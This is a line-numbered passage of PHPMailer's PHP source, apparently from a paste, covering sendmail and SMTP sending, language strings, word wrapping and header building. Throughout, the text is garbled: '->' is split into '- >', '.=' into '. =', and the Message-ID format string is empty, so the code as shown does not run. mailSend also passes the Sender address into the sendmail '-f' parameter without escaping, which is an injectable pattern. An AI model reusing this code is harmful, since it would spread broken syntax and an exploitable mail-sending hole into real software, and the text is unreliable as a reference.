  2773.                 {
  2774.  
  2775.                     if($this - > Mailer == 'qmail')
  2776.  
  2777.                     {
  2778.  
  2779.                         $sendmail = sprintf('%s', escapeshellcmd($this - > Sendmail));
  2780.  
  2781.                     }
  2782.  
  2783.                     else
  2784.  
  2785.                     {
  2786.  
  2787.                         $sendmail = sprintf('%s -oi -t', escapeshellcmd($this - > Sendmail));
  2788.  
  2789.                     }
  2790.  
  2791.                 }
  2792.  
  2793.                 if($this - > SingleTo)
  2794.  
  2795.                 {
  2796.  
  2797.                     foreach($this - > SingleToArray as $toAddr)
  2798.  
  2799.                     {
  2800.  
  2801.                         if(!@$mail = popen($sendmail, 'w'))
  2802.  
  2803.                         {
  2804.  
  2805.                             throw new phpmailerException($this - > lang('execute').$this - > Sendmail, self::STOP_CRITICAL);
  2806.  
  2807.                         }
  2808.  
  2809.                         fputs($mail, 'To: '.$toAddr.
  2810.  
  2811.                             "\n");
  2812.  
  2813.                         fputs($mail, $header);
  2814.  
  2815.                         fputs($mail, $body);
  2816.  
  2817.                         $result = pclose($mail);
  2818.  
  2819.                         $this - > doCallback(
  2820.  
  2821.                             ($result == 0),
  2822.  
  2823.                             array($toAddr),
  2824.  
  2825.                             $this - > cc,
  2826.  
  2827.                             $this - > bcc,
  2828.  
  2829.                             $this - > Subject,
  2830.  
  2831.                             $body,
  2832.  
  2833.                             $this - > From
  2834.  
  2835.                         );
  2836.  
  2837.                         if($result != 0)
  2838.  
  2839.  
  2840.  
  2841.                         {
  2842.  
  2843.                             throw new phpmailerException($this - > lang('execute').$this - > Sendmail, self::STOP_CRITICAL);
  2844.  
  2845.                         }
  2846.  
  2847.                     }
  2848.  
  2849.                 }
  2850.  
  2851.                 else
  2852.  
  2853.                 {
  2854.  
  2855.                     if(!@$mail = popen($sendmail, 'w'))
  2856.  
  2857.                     {
  2858.  
  2859.                         throw new phpmailerException($this - > lang('execute').$this - > Sendmail, self::STOP_CRITICAL);
  2860.  
  2861.                     }
  2862.  
  2863.                     fputs($mail, $header);
  2864.  
  2865.                     fputs($mail, $body);
  2866.  
  2867.                     $result = pclose($mail);
  2868.  
  2869.                     $this - > doCallback(($result == 0), $this - > to, $this - > cc, $this - > bcc, $this - > Subject, $body, $this - > From);
  2870.  
  2871.                     if($result != 0)
  2872.  
  2873.                     {
  2874.  
  2875.                         throw new phpmailerException($this - > lang('execute').$this - > Sendmail, self::STOP_CRITICAL);
  2876.  
  2877.                     }
  2878.  
  2879.                 }
  2880.  
  2881.                 return true;
  2882.  
  2883.             }
  2884.  
  2885.             protected
  2886.  
  2887.  
  2888.  
  2889.             function mailSend($header, $body)
  2890.  
  2891.             {
  2892.  
  2893.                 $toArr = array();
  2894.  
  2895.                 foreach($this - > to as $toaddr)
  2896.  
  2897.                 {
  2898.  
  2899.                     $toArr[] = $this - > addrFormat($toaddr);
  2900.  
  2901.                 }
  2902.  
  2903.                 $to = implode(', ', $toArr);
  2904.  
  2905.                 if(empty($this - > Sender))
  2906.  
  2907.                 {
  2908.  
  2909.                     $params = ' ';
  2910.  
  2911.                 }
  2912.  
  2913.                 else
  2914.  
  2915.                 {
  2916.  
  2917.                     $params = sprintf('-f%s', $this - > Sender);
  2918.  
  2919.                 }
  2920.  
  2921.                 if($this - > Sender != ''
  2922.  
  2923.                     and!ini_get('safe_mode'))
  2924.  
  2925.                 {
  2926.  
  2927.                     $old_from = ini_get('sendmail_from');
  2928.  
  2929.                     ini_set('sendmail_from', $this - > Sender);
  2930.  
  2931.                 }
  2932.  
  2933.                 $result = false;
  2934.  
  2935.                 if($this - > SingleTo && count($toArr) > 1)
  2936.  
  2937.                 {
  2938.  
  2939.                     foreach($toArr as $toAddr)
  2940.  
  2941.                     {
  2942.  
  2943.                         $result = $this - > mailPassthru($toAddr, $this - > Subject, $body, $header, $params);
  2944.  
  2945.                         $this - > doCallback($result, array($toAddr), $this - > cc, $this - > bcc, $this - > Subject, $body, $this - > From);
  2946.  
  2947.                     }
  2948.  
  2949.                 }
  2950.  
  2951.                 else
  2952.  
  2953.                 {
  2954.  
  2955.                     $result = $this - > mailPassthru($to, $this - > Subject, $body, $header, $params);
  2956.  
  2957.                     $this - > doCallback($result, $this - > to, $this - > cc, $this - > bcc, $this - > Subject, $body, $this - > From);
  2958.  
  2959.                 }
  2960.  
  2961.                 if(isset($old_from))
  2962.  
  2963.                 {
  2964.  
  2965.                     ini_set('sendmail_from', $old_from);
  2966.  
  2967.                 }
  2968.  
  2969.                 if(!$result)
  2970.  
  2971.                 {
  2972.  
  2973.                     throw new phpmailerException($this - > lang('instantiate'), self::STOP_CRITICAL);
  2974.  
  2975.                 }
  2976.  
  2977.                 return true;
  2978.  
  2979.             }
  2980.  
  2981.             public
  2982.  
  2983.  
  2984.  
  2985.             function getSMTPInstance()
  2986.  
  2987.             {
  2988.  
  2989.                 if(!is_object($this - > smtp))
  2990.  
  2991.                 {
  2992.  
  2993.                     $this - > smtp = new SMTP;
  2994.  
  2995.                 }
  2996.  
  2997.                 return $this - > smtp;
  2998.  
  2999.             }
  3000.  
  3001.             protected
  3002.  
  3003.  
  3004.  
  3005.             function smtpSend($header, $body)
  3006.  
  3007.             {
  3008.  
  3009.                 $bad_rcpt = array();
  3010.  
  3011.                 if(!$this - > smtpConnect($this - > SMTPOptions))
  3012.  
  3013.                 {
  3014.  
  3015.                     throw new phpmailerException($this - > lang('smtp_connect_failed'), self::STOP_CRITICAL);
  3016.  
  3017.                 }
  3018.  
  3019.                 if('' == $this - > Sender)
  3020.  
  3021.                 {
  3022.  
  3023.                     $smtp_from = $this - > From;
  3024.  
  3025.                 }
  3026.  
  3027.                 else
  3028.  
  3029.                 {
  3030.  
  3031.                     $smtp_from = $this - > Sender;
  3032.  
  3033.                 }
  3034.  
  3035.                 if(!$this - > smtp - > mail($smtp_from))
  3036.  
  3037.                 {
  3038.  
  3039.                     $this - > setError($this - > lang('from_failed').$smtp_from.
  3040.  
  3041.                         ' : '.implode(',', $this - > smtp - > getError()));
  3042.  
  3043.                     throw new phpmailerException($this - > ErrorInfo, self::STOP_CRITICAL);
  3044.  
  3045.                 }
  3046.  
  3047.                 foreach(array($this - > to, $this - > cc, $this - > bcc) as $togroup)
  3048.  
  3049.                 {
  3050.  
  3051.                     foreach($togroup as $to)
  3052.  
  3053.                     {
  3054.  
  3055.                         if(!$this - > smtp - > recipient($to[0]))
  3056.  
  3057.                         {
  3058.  
  3059.                             $error = $this - > smtp - > getError();
  3060.  
  3061.                             $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  3062.  
  3063.                             $isSent = false;
  3064.  
  3065.                         }
  3066.  
  3067.                         else
  3068.  
  3069.                         {
  3070.  
  3071.                             $isSent = true;
  3072.  
  3073.                         }
  3074.  
  3075.                         $this - > doCallback($isSent, array($to[0]), array(), array(), $this - > Subject, $body, $this - > From);
  3076.  
  3077.                     }
  3078.  
  3079.                 }
  3080.  
  3081.                 if((count($this - > all_recipients) > count($bad_rcpt)) and!$this - > smtp - > data($header.$body))
  3082.  
  3083.                 {
  3084.  
  3085.                     throw new phpmailerException($this - > lang('data_not_accepted'), self::STOP_CRITICAL);
  3086.  
  3087.                 }
  3088.  
  3089.                 if($this - > SMTPKeepAlive)
  3090.  
  3091.                 {
  3092.  
  3093.                     $this - > smtp - > reset();
  3094.  
  3095.                 }
  3096.  
  3097.                 else
  3098.  
  3099.                 {
  3100.  
  3101.                     $this - > smtp - > quit();
  3102.  
  3103.                     $this - > smtp - > close();
  3104.  
  3105.                 }
  3106.  
  3107.                 if(count($bad_rcpt) > 0)
  3108.  
  3109.                 {
  3110.  
  3111.                     $errstr = '';
  3112.  
  3113.                     foreach($bad_rcpt as $bad)
  3114.  
  3115.                     {
  3116.  
  3117.                         $errstr. = $bad['to'].
  3118.  
  3119.                         ': '.$bad['error'];
  3120.  
  3121.                     }
  3122.  
  3123.                     throw new phpmailerException(
  3124.  
  3125.                         $this - > lang('recipients_failed').$errstr,
  3126.  
  3127.                         self::STOP_CONTINUE
  3128.  
  3129.                     );
  3130.  
  3131.                 }
  3132.  
  3133.                 return true;
  3134.  
  3135.             }
  3136.  
  3137.             public
  3138.  
  3139.  
  3140.  
  3141.             function smtpConnect($options = array())
  3142.  
  3143.             {
  3144.  
  3145.                 if(is_null($this - > smtp))
  3146.  
  3147.                 {
  3148.  
  3149.                     $this - > smtp = $this - > getSMTPInstance();
  3150.  
  3151.                 }
  3152.  
  3153.                 if($this - > smtp - > connected())
  3154.  
  3155.                 {
  3156.  
  3157.                     return true;
  3158.  
  3159.                 }
  3160.  
  3161.                 $this - > smtp - > setTimeout($this - > Timeout);
  3162.  
  3163.                 $this - > smtp - > setDebugLevel($this - > SMTPDebug);
  3164.  
  3165.                 $this - > smtp - > setDebugOutput($this - > Debugoutput);
  3166.  
  3167.                 $this - > smtp - > setVerp($this - > do_verp);
  3168.  
  3169.                 $hosts = explode(';', $this - > Host);
  3170.  
  3171.                 $lastexception = null;
  3172.  
  3173.                 foreach($hosts as $hostentry)
  3174.  
  3175.                 {
  3176.  
  3177.                     $hostinfo = array();
  3178.  
  3179.                     if(!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo))
  3180.  
  3181.                     {
  3182.  
  3183.                         continue;
  3184.  
  3185.                     }
  3186.  
  3187.                     $prefix = '';
  3188.  
  3189.                     $secure = $this - > SMTPSecure;
  3190.  
  3191.                     $tls = ($this - > SMTPSecure == 'tls');
  3192.  
  3193.                     if('ssl' == $hostinfo[2] or('' == $hostinfo[2] and 'ssl' == $this - > SMTPSecure))
  3194.  
  3195.                     {
  3196.  
  3197.                         $prefix = 'ssl://';
  3198.  
  3199.                         $tls = false; // Can't have SSL and TLS at the same time
  3200.  
  3201.                         $secure = 'ssl';
  3202.  
  3203.                     }
  3204.  
  3205.                     elseif($hostinfo[2] == 'tls')
  3206.  
  3207.                     {
  3208.  
  3209.                         $tls = true;
  3210.  
  3211.                         $secure = 'tls';
  3212.  
  3213.                     }
  3214.  
  3215.                     $sslext = defined('OPENSSL_ALGO_SHA1');
  3216.  
  3217.                     if('tls' === $secure or 'ssl' === $secure)
  3218.  
  3219.                     {
  3220.  
  3221.                         if(!$sslext)
  3222.  
  3223.                         {
  3224.  
  3225.                             throw new phpmailerException($this - > lang('extension_missing').
  3226.  
  3227.                                 'openssl', self::STOP_CRITICAL);
  3228.  
  3229.                         }
  3230.  
  3231.                     }
  3232.  
  3233.                     $host = $hostinfo[3];
  3234.  
  3235.                     $port = $this - > Port;
  3236.  
  3237.                     $tport = (integer) $hostinfo[4];
  3238.  
  3239.                     if($tport > 0 and $tport < 65536)
  3240.  
  3241.                     {
  3242.  
  3243.                         $port = $tport;
  3244.  
  3245.                     }
  3246.  
  3247.                     if($this - > smtp - > connect($prefix.$host, $port, $this - > Timeout, $options))
  3248.  
  3249.                     {
  3250.  
  3251.                         try
  3252.  
  3253.                         {
  3254.  
  3255.                             if($this - > Helo)
  3256.  
  3257.                             {
  3258.  
  3259.                                 $hello = $this - > Helo;
  3260.  
  3261.                             }
  3262.  
  3263.                             else
  3264.  
  3265.                             {
  3266.  
  3267.                                 $hello = $this - > serverHostname();
  3268.  
  3269.                             }
  3270.  
  3271.                             $this - > smtp - > hello($hello);
  3272.  
  3273.                             if($this - > SMTPAutoTLS and $sslext and $secure != 'ssl'
  3274.  
  3275.                                 and $this - > smtp - > getServerExt('STARTTLS'))
  3276.  
  3277.                             {
  3278.  
  3279.                                 $tls = true;
  3280.  
  3281.                             }
  3282.  
  3283.                             if($tls)
  3284.  
  3285.                             {
  3286.  
  3287.                                 if(!$this - > smtp - > startTLS())
  3288.  
  3289.                                 {
  3290.  
  3291.                                     throw new phpmailerException($this - > lang('connect_host'));
  3292.  
  3293.                                 }
  3294.  
  3295.                                 $this - > smtp - > hello($hello);
  3296.  
  3297.                             }
  3298.  
  3299.                             if($this - > SMTPAuth)
  3300.  
  3301.                             {
  3302.  
  3303.                                 if(!$this - > smtp - > authenticate(
  3304.  
  3305.                                         $this - > Username,
  3306.  
  3307.                                         $this - > Password,
  3308.  
  3309.                                         $this - > AuthType,
  3310.  
  3311.                                         $this - > Realm,
  3312.  
  3313.                                         $this - > Workstation
  3314.  
  3315.                                     ))
  3316.  
  3317.                                 {
  3318.  
  3319.                                     throw new phpmailerException($this - > lang('authenticate'));
  3320.  
  3321.                                 }
  3322.  
  3323.                             }
  3324.  
  3325.                             return true;
  3326.  
  3327.                         }
  3328.  
  3329.                         catch(phpmailerException $exc)
  3330.  
  3331.                         {
  3332.  
  3333.                             $lastexception = $exc;
  3334.  
  3335.                             $this - > edebug($exc - > getMessage());
  3336.  
  3337.                             $this - > smtp - > quit();
  3338.  
  3339.                         }
  3340.  
  3341.                     }
  3342.  
  3343.                 }
  3344.  
  3345.                 $this - > smtp - > close();
  3346.  
  3347.                 if($this - > exceptions and!is_null($lastexception))
  3348.  
  3349.                 {
  3350.  
  3351.                     throw $lastexception;
  3352.  
  3353.                 }
  3354.  
  3355.                 return false;
  3356.  
  3357.             }
  3358.  
  3359.             public
  3360.  
  3361.  
  3362.  
  3363.             function smtpClose()
  3364.  
  3365.             {
  3366.  
  3367.                 if($this - > smtp !== null)
  3368.  
  3369.                 {
  3370.  
  3371.                     if($this - > smtp - > connected())
  3372.  
  3373.                     {
  3374.  
  3375.                         $this - > smtp - > quit();
  3376.  
  3377.                         $this - > smtp - > close();
  3378.  
  3379.                     }
  3380.  
  3381.                 }
  3382.  
  3383.             }
  3384.  
  3385.  
  3386.  
  3387.             public
  3388.  
  3389.  
  3390.  
  3391.             function setLanguage($langcode = 'en', $lang_path = '')
  3392.  
  3393.             {
  3394.  
  3395.                 // Define full set of translatable strings in English
  3396.  
  3397.                 $PHPMAILER_LANG = array(
  3398.  
  3399.                     'authenticate' => 'SMTP Error: Could not authenticate.',
  3400.  
  3401.                     'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  3402.  
  3403.                     'data_not_accepted' => 'SMTP Error: data not accepted.',
  3404.  
  3405.                     'empty_message' => 'Message body empty',
  3406.  
  3407.                     'encoding' => 'Unknown encoding: ',
  3408.  
  3409.                     'execute' => 'Could not execute: ',
  3410.  
  3411.                     'file_access' => 'Could not access file: ',
  3412.  
  3413.                     'file_open' => 'File Error: Could not open file: ',
  3414.  
  3415.                     'from_failed' => 'The following From address failed: ',
  3416.  
  3417.                     'instantiate' => 'Could not instantiate mail function.',
  3418.  
  3419.                     'invalid_address' => 'Invalid address',
  3420.  
  3421.                     'mailer_not_supported' => ' mailer is not supported.',
  3422.  
  3423.                     'provide_address' => 'You must provide at least one recipient email address.',
  3424.  
  3425.                     'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  3426.  
  3427.                     'signing' => 'Signing Error: ',
  3428.  
  3429.                     'smtp_connect_failed' => 'SMTP connect() failed.',
  3430.  
  3431.                     'smtp_error' => 'SMTP server error: ',
  3432.  
  3433.                     'variable_set' => 'Cannot set or reset variable: '
  3434.  
  3435.                 );
  3436.  
  3437.                 if(empty($lang_path))
  3438.  
  3439.                 {
  3440.  
  3441.                     // Calculate an absolute path so it can work if CWD is not here
  3442.  
  3443.                     $lang_path = dirname(__FILE__).DIRECTORY_SEPARATOR.
  3444.  
  3445.                     'language'.DIRECTORY_SEPARATOR;
  3446.  
  3447.                 }
  3448.  
  3449.                 $foundlang = true;
  3450.  
  3451.                 $lang_file = $lang_path.
  3452.  
  3453.                 'phpmailer.lang-'.$langcode.
  3454.  
  3455.                 '.php';
  3456.  
  3457.                 if($langcode != 'en')
  3458.  
  3459.                 { // There is no English translation file
  3460.  
  3461.                     // Make sure language file path is readable
  3462.  
  3463.                     if(!is_readable($lang_file))
  3464.  
  3465.                     {
  3466.  
  3467.                         $foundlang = false;
  3468.  
  3469.                     }
  3470.  
  3471.                     else
  3472.  
  3473.                     {
  3474.  
  3475.                         $foundlang = include $lang_file;
  3476.  
  3477.                     }
  3478.  
  3479.                 }
  3480.  
  3481.                 $this - > language = $PHPMAILER_LANG;
  3482.  
  3483.                 return(boolean) $foundlang; // Returns false if language not found
  3484.  
  3485.             }
  3486.  
  3487.             public
  3488.  
  3489.  
  3490.  
  3491.             function getTranslations()
  3492.  
  3493.             {
  3494.  
  3495.                 return $this - > language;
  3496.  
  3497.             }
  3498.  
  3499.             public
  3500.  
  3501.  
  3502.  
  3503.             function addrAppend($type, $addr)
  3504.  
  3505.             {
  3506.  
  3507.                 $addresses = array();
  3508.  
  3509.                 foreach($addr as $address)
  3510.  
  3511.                 {
  3512.  
  3513.                     $addresses[] = $this - > addrFormat($address);
  3514.  
  3515.                 }
  3516.  
  3517.                 return $type.
  3518.  
  3519.                 ': '.implode(', ', $addresses).$this - > LE;
  3520.  
  3521.             }
  3522.  
  3523.  
  3524.  
  3525.             public
  3526.  
  3527.  
  3528.  
  3529.             function addrFormat($addr)
  3530.  
  3531.             {
  3532.  
  3533.                 if(empty($addr[1]))
  3534.  
  3535.                 { // No name provided
  3536.  
  3537.                     return $this - > secureHeader($addr[0]);
  3538.  
  3539.                 }
  3540.  
  3541.                 else
  3542.  
  3543.                 {
  3544.  
  3545.                     return $this - > encodeHeader($this - > secureHeader($addr[1]), 'phrase').
  3546.  
  3547.                     ' <'.$this - > secureHeader(
  3548.  
  3549.                         $addr[0]
  3550.  
  3551.                     ).
  3552.  
  3553.                     '>';
  3554.  
  3555.                 }
  3556.  
  3557.             }
  3558.  
  3559.  
  3560.  
  3561.             public
  3562.  
  3563.  
  3564.  
  3565.             function wrapText($message, $length, $qp_mode = false)
  3566.  
  3567.             {
  3568.  
  3569.                 $soft_break = ($qp_mode) ? sprintf(' =%s', $this - > LE) : $this - > LE;
  3570.  
  3571.                 $is_utf8 = (strtolower($this - > CharSet) == 'utf-8');
  3572.  
  3573.                 $lelen = strlen($this - > LE);
  3574.  
  3575.                 $crlflen = strlen(self::CRLF);
  3576.  
  3577.                 $message = $this - > fixEOL($message);
  3578.  
  3579.                 if(substr($message, -$lelen) == $this - > LE)
  3580.  
  3581.                 {
  3582.  
  3583.                     $message = substr($message, 0, -$lelen);
  3584.  
  3585.                 }
  3586.  
  3587.                 $line = explode($this - > LE, $message); // Magic. We know fixEOL uses $LE
  3588.  
  3589.                 $message = '';
  3590.  
  3591.                 for($i = 0; $i < count($line); $i++)
  3592.  
  3593.                 {
  3594.  
  3595.                     $line_part = explode(' ', $line[$i]);
  3596.  
  3597.                     $buf = '';
  3598.  
  3599.                     for($e = 0; $e < count($line_part); $e++)
  3600.  
  3601.                     {
  3602.  
  3603.                         $word = $line_part[$e];
  3604.  
  3605.                         if($qp_mode and(strlen($word) > $length))
  3606.  
  3607.                         {
  3608.  
  3609.                             $space_left = $length - strlen($buf) - $crlflen;
  3610.  
  3611.                             if($e != 0)
  3612.  
  3613.                             {
  3614.  
  3615.                                 if($space_left > 20)
  3616.  
  3617.                                 {
  3618.  
  3619.                                     $len = $space_left;
  3620.  
  3621.                                     if($is_utf8)
  3622.  
  3623.                                     {
  3624.  
  3625.                                         $len = $this - > utf8CharBoundary($word, $len);
  3626.  
  3627.                                     }
  3628.  
  3629.                                     elseif(substr($word, $len - 1, 1) == '=')
  3630.  
  3631.                                     {
  3632.  
  3633.                                         $len--;
  3634.  
  3635.                                     }
  3636.  
  3637.                                     elseif(substr($word, $len - 2, 1) == '=')
  3638.  
  3639.                                     {
  3640.  
  3641.                                         $len -= 2;
  3642.  
  3643.                                     }
  3644.  
  3645.                                     $part = substr($word, 0, $len);
  3646.  
  3647.                                     $word = substr($word, $len);
  3648.  
  3649.                                     $buf. = ' '.$part;
  3650.  
  3651.                                     $message. = $buf.sprintf('=%s', self::CRLF);
  3652.  
  3653.                                 }
  3654.  
  3655.                                 else
  3656.  
  3657.                                 {
  3658.  
  3659.                                     $message. = $buf.$soft_break;
  3660.  
  3661.                                 }
  3662.  
  3663.                                 $buf = '';
  3664.  
  3665.                             }
  3666.  
  3667.                             while(strlen($word) > 0)
  3668.  
  3669.                             {
  3670.  
  3671.                                 if($length <= 0)
  3672.  
  3673.                                 {
  3674.  
  3675.                                     break;
  3676.  
  3677.                                 }
  3678.  
  3679.                                 $len = $length;
  3680.  
  3681.                                 if($is_utf8)
  3682.  
  3683.                                 {
  3684.  
  3685.                                     $len = $this - > utf8CharBoundary($word, $len);
  3686.  
  3687.                                 }
  3688.  
  3689.                                 elseif(substr($word, $len - 1, 1) == '=')
  3690.  
  3691.                                 {
  3692.  
  3693.                                     $len--;
  3694.  
  3695.                                 }
  3696.  
  3697.                                 elseif(substr($word, $len - 2, 1) == '=')
  3698.  
  3699.                                 {
  3700.  
  3701.                                     $len -= 2;
  3702.  
  3703.                                 }
  3704.  
  3705.                                 $part = substr($word, 0, $len);
  3706.  
  3707.                                 $word = substr($word, $len);
  3708.  
  3709.                                 if(strlen($word) > 0)
  3710.  
  3711.                                 {
  3712.  
  3713.                                     $message. = $part.sprintf('=%s', self::CRLF);
  3714.  
  3715.                                 }
  3716.  
  3717.                                 else
  3718.  
  3719.                                 {
  3720.  
  3721.                                     $buf = $part;
  3722.  
  3723.                                 }
  3724.  
  3725.                             }
  3726.  
  3727.                         }
  3728.  
  3729.                         else
  3730.  
  3731.                         {
  3732.  
  3733.                             $buf_o = $buf;
  3734.  
  3735.                             $buf. = ($e == 0) ? $word : (' '.$word);
  3736.  
  3737.                             if(strlen($buf) > $length and $buf_o != '')
  3738.  
  3739.                             {
  3740.  
  3741.                                 $message. = $buf_o.$soft_break;
  3742.  
  3743.                                 $buf = $word;
  3744.  
  3745.                             }
  3746.  
  3747.                         }
  3748.  
  3749.                     }
  3750.  
  3751.                     $message. = $buf.self::CRLF;
  3752.  
  3753.                 }
  3754.  
  3755.                 return $message;
  3756.  
  3757.             }
  3758.  
  3759.             public
  3760.  
  3761.  
  3762.  
  3763.             function utf8CharBoundary($encodedText, $maxLength)
  3764.  
  3765.             {
  3766.  
  3767.                 $foundSplitPos = false;
  3768.  
  3769.                 $lookBack = 3;
  3770.  
  3771.                 while(!$foundSplitPos)
  3772.  
  3773.                 {
  3774.  
  3775.                     $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  3776.  
  3777.                     $encodedCharPos = strpos($lastChunk, '=');
  3778.  
  3779.                     if(false !== $encodedCharPos)
  3780.  
  3781.                     {
  3782.  
  3783.                         // Found start of encoded character byte within $lookBack block.
  3784.  
  3785.                         // Check the encoded byte value (the 2 chars after the '=')
  3786.  
  3787.                         $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  3788.  
  3789.                         $dec = hexdec($hex);
  3790.  
  3791.                         if($dec < 128)
  3792.  
  3793.                         { // Single byte character.
  3794.  
  3795.                             // If the encoded char was found at pos 0, it will fit
  3796.  
  3797.                             // otherwise reduce maxLength to start of the encoded char
  3798.  
  3799.                             $maxLength = ($encodedCharPos == 0) ? $maxLength :
  3800.  
  3801.                                 $maxLength - ($lookBack - $encodedCharPos);
  3802.  
  3803.                             $foundSplitPos = true;
  3804.  
  3805.                         }
  3806.  
  3807.                         elseif($dec >= 192)
  3808.  
  3809.                         { // First byte of a multi byte character
  3810.  
  3811.                             // Reduce maxLength to split at start of character
  3812.  
  3813.                             $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  3814.  
  3815.                             $foundSplitPos = true;
  3816.  
  3817.                         }
  3818.  
  3819.                         elseif($dec < 192)
  3820.  
  3821.                         { // Middle byte of a multi byte character, look further back
  3822.  
  3823.                             $lookBack += 3;
  3824.  
  3825.                         }
  3826.  
  3827.                     }
  3828.  
  3829.                     else
  3830.  
  3831.                     {
  3832.  
  3833.                         // No encoded character found
  3834.  
  3835.                         $foundSplitPos = true;
  3836.  
  3837.                     }
  3838.  
  3839.                 }
  3840.  
  3841.                 return $maxLength;
  3842.  
  3843.             }
  3844.  
  3845.             public
  3846.  
  3847.  
  3848.  
  3849.             function setWordWrap()
  3850.  
  3851.             {
  3852.  
  3853.                 if($this - > WordWrap < 1)
  3854.  
  3855.                 {
  3856.  
  3857.                     return;
  3858.  
  3859.                 }
  3860.  
  3861.                 switch($this - > message_type)
  3862.  
  3863.                 {
  3864.  
  3865.                     case 'alt':
  3866.  
  3867.                     case 'alt_inline':
  3868.  
  3869.                     case 'alt_attach':
  3870.  
  3871.                     case 'alt_inline_attach':
  3872.  
  3873.                         $this - > AltBody = $this - > wrapText($this - > AltBody, $this - > WordWrap);
  3874.  
  3875.                         break;
  3876.  
  3877.                     default:
  3878.  
  3879.                         $this - > Body = $this - > wrapText($this - > Body, $this - > WordWrap);
  3880.  
  3881.                         break;
  3882.  
  3883.                 }
  3884.  
  3885.             }
  3886.  
  3887.             public
  3888.  
  3889.  
  3890.  
  3891.             function createHeader()
  3892.  
  3893.             {
  3894.  
  3895.                 $result = '';
  3896.  
  3897.                 // Set the boundaries
  3898.  
  3899.                 $uniq_id = md5(uniqid(time()));
  3900.  
  3901.                 $this - > boundary[1] = 'b1_'.$uniq_id;
  3902.  
  3903.                 $this - > boundary[2] = 'b2_'.$uniq_id;
  3904.  
  3905.                 $this - > boundary[3] = 'b3_'.$uniq_id;
  3906.  
  3907.                 if($this - > MessageDate == '')
  3908.  
  3909.                 {
  3910.  
  3911.                     $this - > MessageDate = self::rfcDate();
  3912.  
  3913.                 }
  3914.  
  3915.                 $result. = $this - > headerLine('Date', $this - > MessageDate);
  3916.  
  3917.  
  3918.  
  3919.                 // To be created automatically by mail()
  3920.  
  3921.                 if($this - > SingleTo)
  3922.  
  3923.                 {
  3924.  
  3925.                     if($this - > Mailer != 'mail')
  3926.  
  3927.                     {
  3928.  
  3929.                         foreach($this - > to as $toaddr)
  3930.  
  3931.                         {
  3932.  
  3933.                             $this - > SingleToArray[] = $this - > addrFormat($toaddr);
  3934.  
  3935.                         }
  3936.  
  3937.                     }
  3938.  
  3939.                 }
  3940.  
  3941.                 else
  3942.  
  3943.                 {
  3944.  
  3945.                     if(count($this - > to) > 0)
  3946.  
  3947.                     {
  3948.  
  3949.                         if($this - > Mailer != 'mail')
  3950.  
  3951.                         {
  3952.  
  3953.                             $result. = $this - > addrAppend('To', $this - > to);
  3954.  
  3955.                         }
  3956.  
  3957.                     }
  3958.  
  3959.                     elseif(count($this - > cc) == 0)
  3960.  
  3961.                     {
  3962.  
  3963.                         $result. = $this - > headerLine('To', 'undisclosed-recipients:;');
  3964.  
  3965.                     }
  3966.  
  3967.                 }
  3968.  
  3969.                 $result. = $this - > addrAppend('From', array(array(trim($this - > From), $this - > FromName)));
  3970.  
  3971.                 // sendmail and mail() extract Cc from the header before sending
  3972.  
  3973.                 if(count($this - > cc) > 0)
  3974.  
  3975.                 {
  3976.  
  3977.                     $result. = $this - > addrAppend('Cc', $this - > cc);
  3978.  
  3979.                 }
  3980.  
  3981.                 // sendmail and mail() extract Bcc from the header before sending
  3982.  
  3983.                 if((
  3984.  
  3985.                         $this - > Mailer == 'sendmail'
  3986.  
  3987.                         or $this - > Mailer == 'qmail'
  3988.  
  3989.                         or $this - > Mailer == 'mail'
  3990.  
  3991.                     ) and count($this - > bcc) > 0)
  3992.  
  3993.                 {
  3994.  
  3995.                     $result. = $this - > addrAppend('Bcc', $this - > bcc);
  3996.  
  3997.                 }
  3998.  
  3999.                 if(count($this - > ReplyTo) > 0)
  4000.  
  4001.                 {
  4002.  
  4003.                     $result. = $this - > addrAppend('Reply-To', $this - > ReplyTo);
  4004.  
  4005.                 }
  4006.  
  4007.                 // mail() sets the subject itself
  4008.  
  4009.                 if($this - > Mailer != 'mail')
  4010.  
  4011.                 {
  4012.  
  4013.                     $result. = $this - > headerLine('Subject', $this - > encodeHeader($this - > secureHeader($this - > Subject)));
  4014.  
  4015.                 }
  4016.  
  4017.                 if($this - > MessageID != '')
  4018.  
  4019.                 {
  4020.  
  4021.                     $this - > lastMessageID = $this - > MessageID;
  4022.  
  4023.                 }
  4024.  
  4025.                 else
  4026.  
  4027.                 {
  4028.  
  4029.                     $this - > lastMessageID = sprintf('', $uniq_id, $this - > ServerHostname());
  4030.  
  4031.                 }
  4032.  
  4033.                 $result. = $this - > HeaderLine('Message-ID', $this - > lastMessageID);
  4034.  
  4035.                 $result. = $this - > headerLine('X-Priority', $this - > Priority);
  4036.  
  4037.                 if($this - > XMailer == '')
  4038.  
  4039.                 {
  4040.  
  4041.                     $result. = $this - > headerLine(
  4042.  
  4043.                         'X-Mailer',
  4044.  
  4045.                         'PHPMailer '.$this - > Version.
  4046.  
  4047.                         ' (https://github.com/PHPMailer/PHPMailer/)'
  4048.  
  4049.                     );
  4050.  
  4051.                 }
  4052.  
  4053.                 else
  4054.  
  4055.                 {
  4056.  
  4057.                     $myXmailer = trim($this - > XMailer);
  4058.  
  4059.                     if($myXmailer)
  4060.  
  4061.                     {
  4062.  
  4063.                         $result. = $this - > headerLine('X-Mailer', $myXmailer);
  4064.  
  4065.                     }
  4066.  
  4067.                 }
  4068.  
  4069.                 if($this - > ConfirmReadingTo != '')
  4070.  
  4071.                 {
  4072.  
  4073.                     $result. = $this - > headerLine('Disposition-Notification-To', '<'.trim($this - > ConfirmReadingTo).
  4074.  
  4075.                         '>');
  4076.  
  4077.                 }
  4078.  
  4079.                 // Add custom headers
  4080.  
  4081.                 for($index = 0; $index < count($this - > CustomHeader); $index++)
  4082.  
  4083.                 {
  4084.  
  4085.                     $result. = $this - > headerLine(
  4086.  
  4087.                         trim($this - > CustomHeader[$index][0]),
  4088.  
  4089.                         $this - > encodeHeader(trim($this - > CustomHeader[$index][1]))
  4090.  
  4091.                     );
  4092.  
  4093.                 }
  4094.  
  4095.                 if(!$this - > sign_key_file)
  4096.  
  4097.                 {
  4098.  
